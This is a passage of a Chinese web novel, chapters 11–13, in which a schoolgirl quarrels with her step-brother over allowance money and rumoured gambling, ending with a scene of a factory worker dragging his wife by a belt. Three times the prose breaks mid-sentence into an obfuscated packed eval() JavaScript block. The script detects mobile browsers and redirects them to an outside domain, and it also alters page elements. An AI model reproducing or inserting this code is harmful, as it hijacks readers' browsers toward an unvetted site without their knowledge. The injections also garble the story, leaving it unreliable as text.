也许是因为他们本来就气氛怪,也许是因为孔大勇和李贤梅,又或者只是单纯因为孔净难受不想说话。 走了小半截,孔净不想走了。 她捂着肚子坐在路边,前面陈端像是没有发觉似的,狭长影子被淡蓝色天光拽过蜀葵地。 孔净整个上半身弯折,两手按着腹部,下巴垫在膝盖上,垂眼数着地上路过的蚂蚁。 可能数到第一千只,也可能是第一千一百只,晚风送来一道脚步声,轻而实。 她没抬眼,知道是陈端。 想着等他从面前走过再起身,做个一起出去又一起回来的假象好瞒过孔大勇和李贤梅。 然而少年瘦高身影进入余光,停在了面前。 孔净盯着地上那只费力搬运甲虫残尸的蚂蚁,目光微动,最后落在少年的球鞋上。 光线这么暗,少年露出一半的脚踝却很白,都是吃一样的东西,怎么他皮肤这么好?基因真优越……这么说他应该不是爸爸的儿子吧?因为孔大勇的皮肤是红黑色…… 孔净胡乱想着,眼前突然多出一只手来,手指又长又漂亮,拿画笔时本身就应该是一幅绝佳的画作。 “给你。”陈端不知道孔净在看什么,掌心里的东西孔净再熟悉不过,一板止痛药。 孔净这才抬眼看他,陈端移开视线,从拎着的塑料袋里拿出一瓶饮料。 是最近请了某个大明星代言的新潮饮料,在学校里很风靡,但是孔净没买过,她嫌贵。 孔净有些意外,手碰到饮料瓶就更吃惊了,“热的?!” 瓶身潮潮的,应该是陈端找小卖店老板娘用热水温过。 孔净接过饮料,吞了两片止痛药。 药片还卡在喉咙里,陈端就已经从面前走过了。 孔净站起身跟上去,“走慢点。” 她不记仇,情绪来得快去得也快,显然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陈端一手垂在身侧指尖拎一杯豆浆,闲闲从操场那边走来,皮肤照在他身上冷玉一样的质地,走廊上有女生惊呼“好帅”、“好梦幻”,孔净轻轻掀起眼皮。 班级之间是连着的,一班后门紧挨二班前门,孔净站在一班后门想了想,轻声叫他,“陈端……” 陈端没看见也没听见,径自走进二班前门。 “……” 到底在气什么啊? 走廊上的女生还在犯花痴,孔净心想,才怪,丑八怪! 孔净回到座位把兜里准备好的东西掏出来,塞进阿禾书包。 快要打铃了,阿禾笔尖写出了火星子,根本没空去看,嘴却不停,“洗虾米(是什么)?好吃的哦?吼!” “不是。”孔净说,“你帮忙拿给他。” “他?谁呀谁呀?”阿禾笔尖还在作业本上鬼画符,身体却随语气冲孔净扭了起来,都给孔净同桌看呆了。 孔净:“反正你拿给他就好了。” 中午阿禾来找孔净吃午饭,她把早上孔净让她转交给陈端的本周生活费原封不动地还回来,“他不要哦。” 孔净惊愕,所以陈端气到打算这周喝西北风? 李贤梅每周给她和陈端每人七十,今早陈端走太早,连生活费也没拿。孔净知道陈端要上网要买画具,所以偷偷匀了十块给他。 谁知道,他居然不要。 旁边阿禾戳戳孔净,“是陈端自己不要的哦。不然这样好了啦,我们帮他把钱花了,也算是做善事了。” “……” 11. 第 11 章 生活费陈端没要,孔净也没花。 钱被孔净用一根黑色皮筋捆着一直贴身放在校服口袋里,她想找机会给陈端,但陈端总不理她。 大概是孔净投向陈端的目光太过频繁,虽然不明显,但还是引起了有心人的注意。 课间有别班的女生过来找她,“你也喜欢陈端?三个班一起上体育课的时候我看见你在看他。” 孔净认出她是那次在文具店说要请陈端吃雪糕但话都没说完就被拒的三班女生,因为知道她说的喜欢是什么意思,孔净很不可思议,“我,喜欢陈端?怎么可能!” “那……你讨厌他?”初中女生很容易非黑即白,她觉得孔净的表情和语气都不像作假,所以自然而然推导出这个结论。 孔净没说话,因为她和这个女生不熟,没有必要人家问什么她就答什么。 女生因此更笃定,“你讨厌他!太好了。我们可以做朋友。” “啊?” “你学习很好,长得……还行吧。重要的是我们不是情敌。我喜欢陈端,不讨厌你,但是你讨厌陈端,所以我们可以做朋友。和我做朋友我可以请你喝奶茶,也可以送文具给你,下次我们一起去店里你可以挑两支笔……” 她们站在一班后门走廊上,女生叽里咕噜说个不停,直到后面有人喊了声“陈端你物理作业呢?!”。 孔净回头,少年站在二班走廊上,后腰倚着廊柱,蓝白校服敞开露出里面的白色T恤,衣摆和黑色发梢被风轻轻吹动,澄明光线里视线显得格外冷郁、淡漠。 孔净目光和他轻轻一碰,立刻知道他都听见了。 “陈端!不好意思我刚才没看见你……” 女生双眼一亮,刚才还和孔净侃侃而谈,这会儿突然涨红着脸吞吞吐吐。 陈端没看女生,视线从孔净脸上划过,站直,转身走了。 找陈端收作业的科代表从教室出来,“你去哪里?还有一节课……!” 陈端之前偶尔也逃课,孔净知道。 她心里觉得和三班那个女生统共没说几句,内容也没什么大不了。她不太懂陈端为什么用那种眼神看她,也不明白他为什么能从周日一直到周四都不理她,总不至于一直在生气吧? “……男生、原来也这么小肚鸡肠。” 孔净无语至极,弟弟就是弟弟。 “你说什么?啊好烫!”阿禾一边大口往嘴里塞饭一边用手扇扇风,她吃得很急,因为待会要去水宝家。水宝就住在梅村,离学校很近所以没住校。 “没什么。” 阿禾强烈邀请孔净同去,说有好东西。孔净觉得阿禾脸上的笑很可疑,没有婉拒,直拒了。 孔净一个人沿着香樟路慢慢走回宿舍。 梅村中学总共三百多名学生,住校的大概有一百来个,和教学楼隔一个操场的红瓦灰楼就是宿舍。一楼是食堂和小超市,二三楼则分部着宿舍,每个宿舍住八到十二人不等。不知道当初学校领导是怎么考虑的,男女生宿舍并没有严格的界限,更奇葩的是每个年级的男女生宿舍都紧紧挨着。 也就是说一班的女生宿舍隔一个一班男生宿舍,旁边就是二班女生宿舍和男生宿舍。 二班男生宿舍刚好在楼梯边,孔净还在一楼就听见男老师在训斥,“学习学习不行,偷蒙拐骗第一名!一个个现在不学好,提前在社会新闻版面预定名额!还好意思笑!以后进了少管所我看你还笑不笑得出来!!” 二班男生宿舍外面贴墙站了一排,地上散落花花绿绿的扑克牌,男老师手持教鞭踩在扑克牌上,看谁不顺眼就给谁来一下。 孔净低头想快速走过,余光睨到一个熟悉身影,步子一下就慢了。 男生们本来就听老师训话听烦了,心里窝着火,看见孔净要走不走的,有个侧边挑染一戳黄毛的男生朝她做了个顶|胯的动作,“要看过来看啊。” 其他男生哄地笑开了,男老师举起教鞭“啪”一下抽在那黄毛手臂上,黄毛呲牙:“靠北!” 此起彼伏的教鞭声传来,孔净还是愣愣的。 陈端站在最左边,没穿校服,姿态不似其他男生那么放浪,单独看会以为他只是站在走廊上发呆。 他也确实是在发呆,在孔净没出现之前。 黄毛被打得四窜,抱头躲到陈端这边来时,被陈端伸脚绊了个狗吃屎。 “没看见。”陈端垂眼看一眼黄毛,表情很淡,真像是不小心。 黄毛爬起来要去推陈端,陈端站着没动,老师教鞭伸过来又一下抽中黄毛:“给我回去站好!再敢说半个字脏话,明天就叫你爸妈过来办退学!!” 教鞭声惊醒孔净,她回神,快步回到宿舍。 外面动静那么大,楼里其他宿舍的人都在偷偷往外瞄,女生宿舍也不例外。 她们一边偷窥,一边窃窃私语。 “打牌而已,老师火气也太大了吧!还打人,这是体罚!” “什么啦,他们是赌博诶!哪里只是单纯的打牌。” “啊?真假?” “包真的啊!” “可是边上那个长最高最帅那个看起来根本不像缺钱的样子啊!” “哪个?……你是说陈端?是哦,那他可能就是单纯喜欢赌吧!” …… 打牌、缺钱、喜欢赌,一系列字眼强行灌进孔净的脑子。 舍友们还趴门边议论,孔净坐在自己床上,手隔着面料碰到裤兜里的那卷钱,嘴唇又干又白,一句话也说不出来。 赌博被抓的二班男生整个午休都被罚站,男老师也一直在坐在旁边看着。 午休结束前,孔净抱着书混在人群中路过,这回她没看陈端,但她知道陈端在看她。 孔净到教学楼第一件事就是去二班找阿禾,“不管他要不要,你帮忙把钱放他书包里。” 阿禾本想再说几句话俏皮话,可一看孔净脸上表情焦急又郑重,接过钱后二话不说就走向陈端的座位。 但是第一节下课阿禾来告诉孔净:“陈端把钱捐了!早知道这样你就该听我的,把钱花了啦!!啊,好多钱……” “什么?捐给谁?”孔净没明白。 “捐给我们班充公了啦!夭寿!”阿禾说,“上节课我们上数学,你知道啦数学老师就是我们班主任,剩最后五分钟的时候他让班长组织大家交班费,本来每人只用交五块,可是!陈端交了八十!班长好心和他说交多了,可是你猜他说什么?!” “……说什么?” “他说老师只规定最少交多少,没有规定最多不能交多少,他愿意交八十,如果班长不收就帮他把多的捐给其他班……虽然这个举动又射中我们班很多女生的芳心,可是!这是你给他的钱诶!他干嘛这样……孔净孔净!你到底有没有听我说啊?” 孔净在听,又好像没在听,她憋着一股气,下午放学后没和阿禾去吃饭,她在操场角落的垃圾站找到陈端。 “你为什么把钱都捐了?” 陈端今天值日,他把一桶垃圾倒扣进铁皮回收箱,“给我的,我以为我有权利决定怎么花。” 垃圾桶撞上回收箱发出哐当响声,他撩起眼皮看孔净,“还是说要经过你们的允许才能花?” 他表情很淡,声音也没什么起伏,可是说出来的话每一个字都那么尖锐。 孔净忽然觉得有些不认识他,“我不是这个意思,你把钱都捐了怎么吃饭……?” “这是我的事,不用你担、”少年一下停住,他轻轻眯了下眼,眸色变得纯黑,很空旷又浓郁的黑,“你本来也不担心。” “……我怎么不担心?!你没钱你去赌被老师罚站!要是被爸妈知道你——” “那也是我的事,大不了就退学。” 陈端拎着垃圾桶转身,听见孔净前面一句他有停下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317115|183059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来的趋势,可是再听到孔净下一句提到老师、孔大勇和李贤梅,就觉得很可笑。 “我怎样是我的事,不会影响你当好学生。” “陈端!” 说的什么跟什么啊?孔净被气死,冲着他的背影直跺脚。 有两个没穿梅村中学校服的女生往这边走来,看见陈端就停下来问他:“帅哥你好,你认识孔净吗?我听他们班同学说她好像来这……” “不认识。” 等陈端走过,牛仔短裤上有破洞的长脸女生轻“哇”一声,“没想到梅村中学还有这种长相的男生,好想认他当干弟弟。太可惜了,没在我们职高。” 在斜刘海上喷发胶的圆脸女生回头看一眼陈端的背影,她啧啧道:“现在不在,不代表以后不在啊。一看就知道他不喜欢读书。” “他初几啊?别等我们从职高毕业了他才去,那不就便宜别人了。” “等会打听看看不就知道了。” 两人讨论得热火朝天,晃眼看见一个梳高马尾身形轻盈的女生从面前走过,圆脸女生见过照片模糊有些印象,“站住!” 孔净气鼓鼓,压根没觉得这两个外校女生是在跟自己说话,直到被她们追上来拦住。 “你……是孔净对不对?!” “没错,肯定是你!你长高了我也能认出来!” 长脸女生和圆脸女生左右夹击,同时出声。 孔净莫名其妙,“请问有事吗?” “有事,和我们出去一下。”长脸女生抱起双臂。 “去哪里?” “去了就知道了啊。”圆脸理所当然。 孔净:“不要。” 她后退两步,绕过她们继续往前走。 “……果然很刚嘛,难怪虾皮对她念念不忘!” 两人又追上来,圆脸女生说,“其实我们是想跟你做朋友,请你上网好不好?” 长脸女生说:“人家是好学生啦,上网肯定不感兴趣,买书才对!” “谁说的?上网也可以查资料啊!”圆脸女生反驳。 长脸女生惊讶,“你还知道查资料,你每次去都是看片好吗!” “我看片总比好过你和不认识的男人视频!上回那个老男人那么肥,二十岁就该死了居然还说自己是宝宝……噫!” “干!也比你前男友那个矮矬强!瘦成鸡了都!” …… 所以你们是为什么吵起来? 夹在中间被迫看她们互扯头花的孔净:“……” “孔净。” 就在她听得一个头两个大的时候,前面传来少年清爽嗓音。 陈端去而复返,手里还拎着空荡荡的垃圾桶。 长脸和圆脸同时噤声加转头,“……靠!长得好看的男人果然最会骗人!” 还说不认识。 陈端没搭理她们,又喊了声孔净。 孔净抿了下唇,堵在胸口的气直往上窜,她绕过长脸和圆脸,也绕过陈端,走了。 长脸和圆脸想追,被陈端拦住了。 “你们找她做什么?” 长脸眨眨眼,“夭寿!他不就是陈端?!” 圆脸:“不会吧!虾皮把他的脑袋从合照上抠走了,你见过?” “……没有,感觉……” 陈端没空听她们七嘴八舌,回头,孔净没去教室,而是往宿舍方向去了。 周五下午,阿禾又提前跑了,孔净还是和往常一样回宿舍收拾完东西之后慢吞吞骑车出了学校。 经过网吧门口,那辆烟蓝色自行车混在横七扭八的车队里,很扎眼。 孔净只瞥了一眼,然后冷不丁加快车速,浮光掠影般闪过。 二楼窗户今天是开着的,熟悉的车铃声迟迟没传来,一道蓝白身影凭直觉转头看向窗外。 然而,除了打翻调色盘的晚霞,什么也没有。 12. 第 12 章 孔净和陈端陷入冷战,不过外人根本看不出来,因为他们好像一直都是这样,不说话,不对视,看不见对方。 周日下午,孔净又去了老地方等阿禾。 上周阿禾迟到了半个多点,孔净以为这周她起码会收敛点,哪里想到阿禾直接不来了。 孔净:“……” “什么嘛。”孔净挠了挠胳膊和腿上的蚊子包,鼓着腮帮子从树上爬下来。 她捡了根大小适中的芒果树枝,踩过厚密松叶,打算循着以前探索过的路径去寻找今天的战利品。 林子里很静,蝉鸣和鸟叫听起来十分空渺,声音时有时无、时近时远,无法判断从哪里传来。 没有阿禾作伴,孔净心里毛毛的,但又不能白来一趟两手空空回去,孔净小声哼起歌给自己壮胆。 正猫腰前行,忽然听见一道女声,痛苦、细碎又绵长。 孔净吓得一动不敢动,电影里的女妖、女鬼形象闪进脑海,后背迅速爬上一层鸡皮疙瘩。 就这么静立好一会,女声远远近近,夹杂着喘息,紧接着传来窸窣类似衣服面料的摩挲声。 孔净额头上冷汗都流下来了,分辨方位时像一个坏损卡壳的机器人一格一格地转动脖子,视线被几株老树和密织的藤蔓遮挡,幽绿茎叶在细风和惨白阳光中一抖一抖,随时可能会抖出一只骷髅手的可怖场景。 小学六年级那次在林地里看道士对着陶罐作揖烧符纸的印象太深刻,孔净只觉得心跳得快要过载停摆。 她手指发抖,手里的东西滑落,用来采菇的小刀撞在石头上发出响声。 那声音并不大,甚至可以说很轻,但林子太静了,躲在藤蔓后面的人也太警觉,“哪个!!?” 是那个女声。 孔净一惊,本应该跑走才对,已经绷得发硬发痛的肌肉群却一下卸了力。 原来不是鬼,是人。 而且,这声音的主人她认识。 “……你先走。”孔净听见藤蔓后的人压着声音又说了一句。 她嗓子发紧,试探着喊了声,“桂华嬢嬢?” 宁桂华愣了一瞬,“……孔净?” “……是我。” “你个小孩一点声也没有,什么时候来的?想吓死谁?!” 密网一样的藤蔓被宁桂华几下扯出一个洞来,她从洞口钻过来,边整理头发边走近。 孔净拾起布兜和小刀,宁桂华观察孔净,“又来捡蘑菇?能卖几个钱?” “也不光是为了这个……林子里挺好玩的。”孔净眨了眨眼瞥向她身后。 宁桂华挡在她面前,“看什么呐?!” “……没有。你、和立胜叔一起吗?”孔净低头抖了抖布兜上的灰。 “他闲出屁来才跟在我后面!”宁桂华说到丈夫就一脸不满,在镇上理发店做的纹眉高高挑起。 “哦。” 孔净就更不愿意提到王立胜了。 “走那么快干什么?嬢嬢跟你说会儿话。” 宁桂华同孔净一块走到被人踩出来的小路上。 这边的树更高却更稀疏一些,阳光透过树盖在草地上投出几道明度不一的光柱,掩映在草叶里的小花被这光柱照着就像打上了聚光灯,一种充满野趣的伶俐美。 宁桂华歪着脖子看孔净,感叹道:“小姑娘真是长大了。” “我本来也不小。”孔净回道。 这话不知为什么戳中宁桂华,她笑得花枝乱颤,“还说不小?小背心换成奶|罩了吗你!” 孔净脸颊腾地一下烧起来,扭过头就走了。 “诶诶,别跑啊!”宁桂华追上孔净,拉着她慢下来,被孔净一下甩开了。 宁桂华哼笑两声,也不生气,她出于一种心理,待孔净比平时还要热乎。 她摸了摸孔净的马尾,像是自言自语:“可惜了……” 孔净抬眼瞧她,宁桂华笑一笑,“……其实,我以前成绩也挺好,不像你每次都考第一,但是前十还是不成问题。可惜了,年纪小被男人骗,家里人又偏心只可着男孩子——你不也有个弟弟?” “啊?” 话题一下转换到陈端身上,孔净有点没反应过来。 “啊什么啊!孔大……你爸爸看重陈端肯定比看重你多!梅姐不敢跟他闹,只敢拿你出气!两口子都是拎不清的!” “没有。”孔净不喜欢宁桂华这样说李贤梅和孔大勇。 “在厂里这么久,谁不知道谁啊。”宁桂华不跟孔净争有没有的问题,她轻轻帮孔净顺了顺被风吹乱的鬓发,“长大吧,长大了就好了。” 她跟孔净掏心窝子,“人心隔肚皮,对人不要太实诚,自私的人才活得好。就算是亲弟弟也要防一手,更何况还是个来路不明的。你晓得你和他是什么关系吗?……” 宁桂华想说“争夺资源”,想了半天也没想出来这个曾经在网络贴吧上看到过的时髦小词儿,她只能换种表述方式:“两棵小树苗长在旮沓里,雨水和阳光只有那么多,要想自己长得好就要狠下心去抢!狠!心!晓得不?你要长成树!大树!不要长成花,被别人随便糟蹋!” 孔净被戳了两下胸口,宁桂华用词好残酷,力度透过皮肤和骨骼一下一下像是砸在心脏上。 “行了,自己玩去吧。”宁桂华走了。 孔净待在原地,大脑皮层经过一番“天外来语”的猛烈刺激,有些发蒙。 但很快被她抛诸脑后。 因为谁也没有服软的迹象,所以周一早晨,孔净走得比陈端还要早,把自行车从简棚推出来,晨光熹微,骑上就走了。 阿禾随后就到,捧着几包时新零食大摇大摆地走进一班教室。 孔净低头把桌上的书码齐,阿禾大马金刀坐她同桌空位上,“孔净孔净~看看我今天带什么来换作业啦!” 孔净觑她一眼,由衷佩服好友的厚脸皮。 阿禾开了一包薯片,要喂孔净。 孔净抿紧嘴巴。 “好好吃哒!尝尝嘛!”阿禾的脸陡然在眼前放大,左晃右晃,晃得孔净眼晕。 孔净脑袋往后仰,木然问道:“你昨天又干什么去了?” “和水宝去镇上……啊!我昨天上午给你妈妈打电话,请她跟你说我下午有事——她没有告诉你吗?!” “……这样吗。” 李贤梅用的小灵通是孔大勇换诺基亚之后淘汰下来的,别在腰侧,厂里加工石材的声音嘈杂,很多时候连铃声都听不到,就算接了,李贤梅那么忙,小孩同学打来的电话无关紧要,转头就忘了。 于是,孔净周日被爽约的事就这么翻篇,阿禾又快乐地边吃零食边抄作业。 再过一个暑假就是初三了,孔净有点担心阿禾考不上好高中,“你要不要试着学学看,其实没有那么难。” “不要不要!我看见字脑袋就痛!我有阅读困难症!”阿禾抄作业也不消停,屁股在椅子上扭来扭去,孔净觉得她更像是多动症。 “你高中准备去哪里读?”孔净就问。 她只有阿禾一个好朋友,要是高中也在一个学校就好了。 “南星啦、工贸啊,都可以!” 阿禾从来没想过要在升学上有作为,家里也知道她不是读书的料,所以读完初中就去职高然后找个工作是全家共识。 孔净怅怅然。 没心没肺如阿禾也有片刻的失落,不过她立马笑道:“陈、啊有他陪你啊!” 孔净:“……谁稀罕。” 孔净表面温和,对身边的人包容性很强,但对方要是真的让她打心底不好受了,她就会变得很倔。 连阿禾这么神经大条的人也察觉出了端倪,“你和陈端吵架了吼?” “没有。” 哪里有吵。 明明是他单方面发神经。 “咦,那他给你买的东西你怎么不要?” 晚自习之前她们又光顾文具店,孔净挑了两只签字笔,阿禾也选了一个贴纸她先拿过去一起结账。陈端不知道什么时候进来,从冷饮柜里拿了三杯酸梅汤放在柜台上,跟老板说:“后面的一起。” 阿禾就站在陈端身后,笑嘻嘻地探身冲老板晃了晃手上的东西。 “不好意思,两只笔不要了。” 孔净这时从货架那边走过来跟老板抱歉说了句,就出去了。 她站在文具店门口翻阅新到的杂志,陈端从身侧走过的时候,她低着头一点表情也没有。 不是在冷战吗?谁要他给她买东西了?更何况还是赌博赢来的钱。 阿禾出来时手里还是拿着孔净选好的笔,孔净转头就拿去找老板退了钱。 孔净想让阿禾把钱给陈端,阿禾“哈”了一声,“给他约等于给我们班。” “……”孔净攥着两块钱的票子,心里有点烦。 周三晚自习结束,长脸和圆脸又来了,她们堵在班级门口很张扬地跟人说要找孔净。 她们的打扮很符合初中生对于太妹的想象,因此大家第一时间想到的就是孔净完了,有人来找她麻烦了。 阿禾得到消息第一时间从二班赶来,她看到长脸和圆脸也有点怵,但还是鼓起勇气站到孔净身边:“你们想干什么?” 长脸和圆脸叽叽嚓嚓,说她们只是慕名而来,想请孔净和她的朋友出去玩。 阿禾呆滞:“孔净,你这么有名的吗?” ……老大的女儿就是不一样。 “应该没有吧。” 孔净被长脸和圆脸的说话声弄得快耳鸣,忽然觉得早餐摊油条和烧饼的绝杀组合也变得碍眼。 “吼!陈端!” 阿禾面朝一班后门突然喊了声。 孔净两只眼珠同时往斜后方移动,但随即背对着把橡皮擦装进笔袋,抱着书起身。 教室里已经没多少人了,孔净跟阿禾说了声“走吧”,就从前门出去了。 长脸和圆脸原本哼哈二将一样站在孔净课桌旁的过道上,听见阿禾那一声喊,齐齐往后门瞧一眼,忽然不作声了。 后来几天,陈端经常在一班后门或者走廊出现,像是在看谁又像是谁也不看,视线淡淡往教室内一扫,冷冷清清的,没个焦点。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317116|183059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 搞得大家都在猜陈端是不是对一班哪个女生有意思。 三班那个说要和孔净做朋友的张曼曼又来找她,“你们班有陈端喜欢的女生?” “也可能是男生。” 孔净只是觉得张曼曼很无厘头,又不熟干嘛找她问这个,但是看见张曼表情惊恐,才意识到自己好像玩笑开大了。 “不是你想的那样,我瞎……” 孔净正要解释,耳边听见一道笑声,很轻,像晚风里似有若无的清淡花香。 陈端还是那个姿势懒懒倚着二班前门的廊柱,也没看这边,垂眼对着廊前的树影弯起了唇。 孔净讶然,腹诽他为什么总是神出鬼没的同时,惊异他居然有酒窝。 小小一枚逗号轻点在脸侧,转瞬即逝,晚风也因此停顿一刹。 不管陈端的身影为什么时常徘徊在一班附近,对孔净来说,长脸和圆脸没再翻墙进来碎碎念,她总算清净了一阵。 又是周五,阿禾破天荒待到了最后一节课,放学后她拖着水宝来找孔净,“孔净!孔净!紫霞仙子要不要看?!水宝知道你喜欢,专门租来孝敬你的哦!” 水宝留着妹妹头,同阿禾一起站在走廊上,透过窗户对着孔净露出两排白牙。 “紫霞仙子?”孔净想看,可是…… “我知道!我已经打给梅姨告诉她你要补课,所以今天要晚回去!”阿禾非常得意已经提前帮孔净扫清障碍。 孔净:“什么时候?” “刚才,梅姨说好!”阿禾嘿嘿笑,示意水宝拿出通讯工具。 孔净惊讶水宝才上初一就有手机,款式小巧的按键机,看样子比孔大勇用的那个还高级。 难怪自从阿禾认了水宝当干妹妹之后,每周都有碟片看有零食吃。 阿禾说水宝爸妈是村里的水产养殖专家,平时很少在,水宝平时和阿嬷阿公一起住。水宝阿嬷超级慈祥,只要告诉她她们是在学习,阿嬷就会准备好水果零食端上楼,她自己不来打扰也只许阿公把收音机放出一点点点声音。 “我们也没有真的骗阿嬷啦!看电影和杂志也是学习,有些还是老师都不知道的知识!”阿禾很有头脑地辩解。 孔净犹豫不决,背着书包去车棚,阿禾和水宝就像两根小尾巴跟在她身后,一路游说。 “咦!陈端!孔净要和我们去看《大话西游》,你去不去?”阿禾属于拿人手短吃人嘴短,沾孔净的光从陈端那儿得了不少好处,碰上了就算只是客气客气也要口头邀请一下。 车棚是半地下室,光线不太好,孔净听见阿禾的话才定睛看清楚靠墙停放的自行车上坐了一个人,而孔净的车就停在他旁边。 但孔净记得周一早上靠墙的位置停的明明不是陈端这辆。 陈端在学校里独来独往惯了,从没见他和男生扎堆,去女生家里看电影照道理是绝对不可能答应的。 但是,他说去。 阿禾哈哈笑两声,这就有点尴尬了。 孔净听着他们的对话,握住自行车龙头同时踢一下脚撑,“你们去吧,我回家了。” “啊啊啊,不要介锅样子啦……”阿禾知道孔净和陈端最近气氛怪异,挠了挠头,眼睁睁看着孔净把车推出白线框,骑走了。 转头,看向墙边,“啊这……” “玩得开心。” 陈端不在乎阿禾的邀请到底真心还是假意,说到底他去不去只取决于孔净。 他左脚轻蹬一下地面也骑车走了。 阿禾后知后觉,“陈端好损,他故意说去,孔净不去之后他也不去。好好的姐妹联谊都被他破坏了!吼!” “可是他为什么要这样呀?”水宝表情懵懂。 阿禾也搞不懂,想了半天忽然灵光一现,“可能是怕半路上被那两个外校女生找麻烦吧。” 说到这里,她大“吼”一声,“为什么我没有这样的弟弟!!!” 陈端腿长,不费力气就追上了孔净。 烟蓝色和淡橘色自行车并行,远处的晚霞似油画色块。 孔净不动声色加速,再减速,然而不管是快还是慢,少年被风吹动的校服衣领始终嵌在余光里。 孔净抿着唇,好气。 “你想害我吗?”她转头,语气不太好。 陈端对上她视线,“你最近最好除了学校和家,哪里都不要去。” “你管我去哪里和做了什么,无论怎么样我起码不会没有底线地去赌。” 孔净耿耿于怀。 陈端忽然静了一瞬。 其实那天他被罚站完全是被牵连,他没赌。 事情原本很简单,几句话就可以说清楚,但他没有解释。 因为孔净的语气太笃定,认定他有错。 “嗯。” 陈端一踩脚踏,越过孔净的车头。 嗯? 孔净很想猛踩一阵飞驰在他前头,但显然心有余而力不足。 前面陈端蓝白校服被风鼓起,不远不近,一段固定的距离。 孔净根本不用刻意去瞧。 ……更烦了。 13. 第 13 章 阿禾提前说了这周不去采菇。外面日头白晃晃的,孔净也懒怠出门,打算周末两天都待在家里。 陈端有时也在。 不过无所谓,他们互相不理。 孔净坐在红色理石桌前,作业写完了就复习。 再过一年就中考,李贤梅和孔大勇从来没说过期望她考哪所高中,但她还是希望自己能尽最大努力考好一点。 周六傍晚,孔净把饭做好了迟迟没见李贤梅回来,本来她说今天可以提早下工的。 孔净站在窗边张望,远远看见一个嬢嬢从厂里跑来,“孔净!孔净!孔老大在不在?!快喊他去厂里!出事了!!” 孔净胸口猛地一抽,跑出去,“出什么事?是不是我妈——” “你爸爸呢?!快去叫他啊!再晚就真的要出大事了!” 嬢嬢语气很急。 孔净脑袋嗡嗡的,“我爸不在……” 陈端本来靠在铁架床上,听见对话出来,看孔净一眼,“去看看。” 孔净没等他说完,拔足就往厂里跑。 石材厂每道加工程序都有危险,在孔净很小的时候就被告诫不要去厂房,小心被大切切断胳膊、被滚落的石材砸破脑袋。 孔净往石材厂跑去,一颗心几乎要跳出来,有个声音在脑海里默念祷告:妈妈没事,妈妈没事…… 接近那排石头房子,漫长的荒草遮挡视野,女人的哭声、男人的咒骂以及男男女女的劝告却似潮水般涌卷而来。 孔净在石阶上滑了一下,身后有只手伸过来要拉她,她甩了一下,什么也顾不上,踉踉跄跄地跳下最后几级阶梯。 看见人群都围在石头房子前,而不是对面厂房里,她一下松了口气。 只要远离厂房里的那些庞大机械,就算出事也不会是关乎人命的血淋淋意外。 “妈,妈……”孔净喊李贤梅,两只手用力扒人缝,要往里边挤。 “诶孔净!上这儿看!别伤着你!” 有个年纪大点的嬢嬢站在平时纳凉的石板上,腰一弯拽住孔净的胳膊把她也拉了上去。 “我妈呢?”孔净问。 “劝架嘛!”嬢嬢另一手紧紧圈住自己的小孙子,生怕他不懂事凑热闹被误伤。 孔净这下彻底把心放回肚子里,李贤梅没事。 那有事的是谁? 她正要问,前面忽然传来一道凄厉的惨叫,围观的人群如同沙子被这奔涌的叫声一下搡开。 孔净瞪大眼睛,从错开的人缝中看见一个身上被扒得衣不蔽体的女人被一根皮带拴住脖子,狠狠拖在地上爬行。 “桂华嬢嬢……” 孔净的眼泪一下就下来了。 她下意识就要跳下石板冲过去,一只温冷的手掌从后面握住她小臂。 孔净挣了两下没挣开,回头,陈端不知道什么时候也站到了石板上,暮色中,他目光淡淡,少年人超乎年龄对他人命运的冷视。 “你放开……” “哎呀呀!人家的家务事,夫妻吵架就是这样的!小娃儿不懂别瞎掺和!”年长的嬢嬢也拦孔净,“有你妈妈在的嘛!她是主事人!听你妈妈怎么说!” 石材厂是孔大勇和李贤梅两口子承包的,孔大勇不在,李贤梅最大,所有人都在等她发话—— “王立胜你不要太过!桂华跟你夫妻一场,无论她做错什么你都不该这么打她!简直不把她当人!” “她本来就不是人,她是婊子!背着老子到处乱搞!给老子戴绿帽子,看老子不整死她!梅姐你最好少说两句,我已经算是给你面子了!”王立胜狠拽一下皮带,宁桂华匍匐在地脖子被迫仰起,发出“嗬嗬”的可怖声音。 在众人看戏间杂着不忍的眼神中,王立胜“啪”的一下把一只小灵通扔在地上,空出来的这只覆满粗茧的大手隔空指一圈,“哪个搞了这个婊子老子心里有数!你们给她发的短信、打的电话都有记录!老子大度,让你们搞!但是今天你们哪个要是敢站出来帮她,就是跟老子对到干!老子反正要去坐牢,弄一个是弄,弄一对就是赚!!” “王立胜你——”李贤梅还想再劝。 被王立胜一下打断:“梅姐,我再最后跟你说一句,今天孔老大不在,我也不跟他计较!” 李贤梅瞬间闭住了嘴巴,两只眼睛被怀疑、愤怒、屈辱……填满。 周围人都不说话了,他们像是在看地上的宁桂华,但更多的是在看李贤梅,甚至看孔净和陈端。 